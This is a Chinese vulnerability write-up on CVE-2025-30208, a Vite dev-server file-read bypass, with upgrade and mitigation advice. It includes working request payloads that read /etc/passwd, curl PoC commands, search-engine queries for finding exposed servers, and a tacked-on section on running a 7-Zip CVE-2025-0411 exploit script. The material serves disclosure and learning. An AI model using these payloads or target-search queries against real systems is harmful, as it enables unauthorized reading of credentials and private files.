【CVE-2025-30208】| Vite-漏洞分析与复现

漏洞简介

CVE-2025-30208 是 Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,从而读取服务器上的敏感文件(如 /etc/passwd 或 C:\windows\win.ini)。

该漏洞主要影响以下版本的 Vite:

  • 6.2.3 之前
  • 6.1.2 之前
  • 6.0.12 之前
  • 5.4.15 之前
  • 4.5.10 之前

漏洞原理

Vite 开发服务器提供 @fs 机制,用于防止访问 Vite 允许列表之外的文件。然而,由于 URL 解析时的正则表达式处理不当,攻击者可以通过 ?raw?? 或 ?import&raw?? 等查询参数绕过访问限制,从而读取任意文件。

影响范围

此漏洞仅影响明确将 Vite 开发服务器暴露到网络的应用程序,即使用 --host 或 server.host 配置选项的情况。

详细分析

在 Vite 服务器的 URL 处理逻辑中,@fs 机制原本用于限制对非白名单目录的访问,例如:

server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

然而,Vite 在 URL 解析过程中会移除部分特殊字符,而未正确考虑查询参数的影响,导致攻击者可以构造类似如下的请求绕过安全检查:

GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?import&raw??

由于 Vite 解析 URL 时未正确处理这些参数,导致绕过 server.fs.allow 限制,并返回任意文件内容。

漏洞利用

Fofa & Hunter 搜索

攻击者可使用以下测绘语句搜索可能受影响的 Vite 服务器:

Fofa:
body="/@vite/client"

Hunter:
web.body="/@vite/client"

PoC(概念验证)

  1. 启动 Vite 服务器:

    $ npm create vite@latest
    $ cd vite-project/
    $ npm install
    $ npm run dev
    
  2. 创建测试文件:

    $ echo "top secret content" > /tmp/secret.txt
    
  3. 发送漏洞利用请求:

    # 正常情况下被拒绝
    $ curl "http://localhost:5173/@fs/tmp/secret.txt"
    
    # 绕过访问控制
    $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
    export default "top secret content\n"
    

漏洞验证

GET /etc/passwd?import&raw?? HTTP/1.1
Host: ********

也可使用 Nuclei 进行自动化漏洞检测,以下是对应的 YAML 规则:

nuclei-验证脚本通过网盘分享的文件:CVE-2025-30208.yaml链接: https://pan.baidu.com/s/16hSpH7szUbjidG-5v9xrTw?pwd=i2hx 提取码: i2hx

修复方案

Vite 官方已在以下版本修复了该漏洞:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

版本更新

建议受影响的用户升级到最新版本,或至少升级至修复版本。

临时缓解方案

如果无法立即升级,可以采取以下措施降低风险:

  1. 限制对 Vite 开发服务器的访问

    • 仅允许本地访问,不对外开放。
    • 通过 firewall 或 nginx 进行访问控制。
  2. 使用 server.fs.deny 选项显式禁止访问敏感文件

    server: {
      fs: {
        deny: ["/etc/passwd", "/windows/win.ini"]
      }
    }
    
  3. 启用身份验证

    • 通过 HTTP Basic Auth 或 JWT 保护开发服务器。

免责声明  

本文分享的漏洞POC及相关技术仅限学习和自查用途,请勿用于非法测试或其他不当行为。传播或利用本文及相关工具所导致的任何直接或间接后果,包括法律责任和不良影响,均由使用者自行承担,文章作者概不负责。如内容涉及侵权问题,请及时联系,作者将迅速处理并致以歉意。此外,工具来源于网络,安全性需用户自行验证。感谢您的理解与支持!    

### 复现 CVE-2025-0411 7-zip 漏洞 为了成功复现CVE-2025-0411漏洞,需遵循一系列精确的操作流程。此漏洞存在于7-zip软件中,利用了处理特定构造文件时存在的缺陷。 #### 准备工作环境 确保拥有一个安全隔离的测试环境至关重要,建议在一个专门用于实验的安全沙箱内操作。这可以防止潜在风险扩散到生产环境中[^2]。 #### 获取必要的工具和资源 访问GitHub仓库`https://github.com/dhmosfunk/7-Zip-CVE-2025-0411-POC.git`下载针对该漏洞的概念验证(PoC)代码。通过克隆上述链接中的项目获取所需材料。 ```bash git clone https://github.com/dhmosfunk/7-Zip-CVE-2025-0411-POC.git cd 7-Zip-CVE-2025-0411-POC/ ``` #### 安装受影响版本的应用程序 安装易受攻击的具体版本7-zip应用程序,在执行任何进一步步骤之前确认已正确设置目标应用及其依赖项。 #### 执行PoC脚本 按照README文档指示运行所提供的Python脚本来触发漏洞行为并观察其效果。通常情况下会有一个简单的命令行指令来启动测试过程: ```bash python exploit.py ``` 请注意,实际输出可能因具体实施细节而异;务必参照官方说明进行调整以适应不同场景下的需求。 #### 验证结果 一旦完成以上各阶段的工作,则应该能够看到预期的结果——即证明存在描述的安全隐患。然而重要的是要记住仅限于合法授权范围内开展此类活动,并始终采取适当措施保护个人隐私数据安全
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值